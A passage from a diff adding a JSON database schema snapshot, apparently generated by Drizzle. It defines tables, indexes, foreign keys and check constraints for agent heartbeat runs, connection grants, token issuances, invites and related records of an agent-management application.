+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_last_output_idx": {
+          "name": "heartbeat_runs_company_status_last_output_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_output_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_process_started_idx": {
+          "name": "heartbeat_runs_company_status_process_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "process_started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_created_at_desc_idx": {
+          "name": "heartbeat_runs_company_created_at_desc_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_issue_created_idx": {
+          "name": "heartbeat_runs_company_ctx_issue_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_task_created_idx": {
+          "name": "heartbeat_runs_company_ctx_task_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_taskkey_created_idx": {
+          "name": "heartbeat_runs_company_ctx_taskkey_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskKey')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_runs_company_id_companies_id_fk": {
+          "name": "heartbeat_runs_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_agent_id_agents_id_fk": {
+          "name": "heartbeat_runs_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk": {
+          "name": "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agent_wakeup_requests",
+          "columnsFrom": [
+            "wakeup_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "retry_of_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.inbox_dismissals": {
+      "name": "inbox_dismissals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "item_key": {
+          "name": "item_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'dismiss'"
+        },
+        "dismissed_at": {
+          "name": "dismissed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "inbox_dismissals_company_user_idx": {
+          "name": "inbox_dismissals_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_item_idx": {
+          "name": "inbox_dismissals_company_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_user_item_idx": {
+          "name": "inbox_dismissals_company_user_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "inbox_dismissals_company_id_companies_id_fk": {
+          "name": "inbox_dismissals_company_id_companies_id_fk",
+          "tableFrom": "inbox_dismissals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.connection_grants": {
+      "name": "connection_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_tenant": {
+          "name": "provider_tenant",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_agent_id": {
+          "name": "revoked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_user_id": {
+          "name": "revoked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_grants_company_connection_idx": {
+          "name": "connection_grants_company_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_subject_user_idx": {
+          "name": "connection_grants_subject_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_user_uq": {
+          "name": "connection_grants_user_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_default_uq": {
+          "name": "connection_grants_default_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"connection_grants\".\"is_default\" = true and \"connection_grants\".\"kind\" = 'workspace'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_grants_company_id_companies_id_fk": {
+          "name": "connection_grants_company_id_companies_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_grants_created_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_created_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_revoked_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_revoked_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "revoked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_company_connection_fk": {
+          "name": "connection_grants_company_connection_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "company_id",
+            "connection_id"
+          ],
+          "columnsTo": [
+            "company_id",
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "connection_grants_kind_check": {
+          "name": "connection_grants_kind_check",
+          "value": "\"connection_grants\".\"kind\" in ('workspace', 'user')"
+        },
+        "connection_grants_status_check": {
+          "name": "connection_grants_status_check",
+          "value": "\"connection_grants\".\"status\" in ('active', 'revoked', 'expired', 'needs_reauthorization')"
+        },
+        "connection_grants_subject_check": {
+          "name": "connection_grants_subject_check",
+          "value": "(\"connection_grants\".\"kind\" = 'user' and \"connection_grants\".\"subject_user_id\" is not null) or (\"connection_grants\".\"kind\" = 'workspace' and \"connection_grants\".\"subject_user_id\" is null)"
+        },
+        "connection_grants_default_check": {
+          "name": "connection_grants_default_check",
+          "value": "\"connection_grants\".\"is_default\" = false or \"connection_grants\".\"kind\" = 'workspace'"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.connection_token_issuances": {
+      "name": "connection_token_issuances",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_scope": {
+          "name": "requested_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "issued_scope": {
+          "name": "issued_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "ttl_seconds": {
+          "name": "ttl_seconds",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_token_issuances_company_created_idx": {
+          "name": "connection_token_issuances_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_connection_created_idx": {
+          "name": "connection_token_issuances_connection_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_agent_connection_idx": {
+          "name": "connection_token_issuances_agent_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_run_idx": {
+          "name": "connection_token_issuances_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_token_issuances_company_id_companies_id_fk": {
+          "name": "connection_token_issuances_company_id_companies_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_application_id_tool_applications_id_fk": {
+          "name": "connection_token_issuances_application_id_tool_applications_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_connection_id_tool_connections_id_fk": {
+          "name": "connection_token_issuances_connection_id_tool_connections_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_agent_id_agents_id_fk": {
+          "name": "connection_token_issuances_agent_id_agents_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_run_id_heartbeat_runs_id_fk": {
+          "name": "connection_token_issuances_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_issue_id_issues_id_fk": {
+          "name": "connection_token_issuances_issue_id_issues_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_project_id_projects_id_fk": {
+          "name": "connection_token_issuances_project_id_projects_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_settings": {
+      "name": "instance_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "singleton_key": {
+          "name": "singleton_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "general": {
+          "name": "general",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "experimental": {
+          "name": "experimental",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_settings_singleton_key_idx": {
+          "name": "instance_settings_singleton_key_idx",
+          "columns": [
+            {
+              "expression": "singleton_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "instance_settings_default_environment_id_environments_id_fk": {
+          "name": "instance_settings_default_environment_id_environments_id_fk",
+          "tableFrom": "instance_settings",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_user_roles": {
+      "name": "instance_user_roles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'instance_admin'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_user_roles_user_role_unique_idx": {
+          "name": "instance_user_roles_user_role_unique_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "instance_user_roles_role_idx": {
+          "name": "instance_user_roles_role_idx",
+          "columns": [
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.invites": {
+      "name": "invites",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invite_type": {
+          "name": "invite_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company_join'"
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "allowed_join_types": {
+          "name": "allowed_join_types",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'both'"
+        },
+        "defaults_payload": {
+          "name": "defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invited_by_user_id": {
+          "name": "invited_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "accepted_at": {
+          "name": "accepted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "invites_token_hash_unique_idx": {
+          "name": "invites_token_hash_unique_idx",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "invites_company_invite_state_idx": {
+          "name": "invites_company_invite_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "invite_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revoked_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "invites_company_id_companies_id_fk": {
+          "name": "invites_company_id_companies_id_fk",
+          "tableFrom": "invites",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_approvals": {
+      "name": "issue_approvals",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "linked_by_agent_id": {
+          "name": "linked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_by_user_id": {
+          "name": "linked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_approvals_issue_idx": {
+          "name": "issue_approvals_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_approval_idx": {
+          "name": "issue_approvals_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_company_idx": {
+          "name": "issue_approvals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_approvals_company_id_companies_id_fk": {
+          "name": "issue_approvals_company_id_companies_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
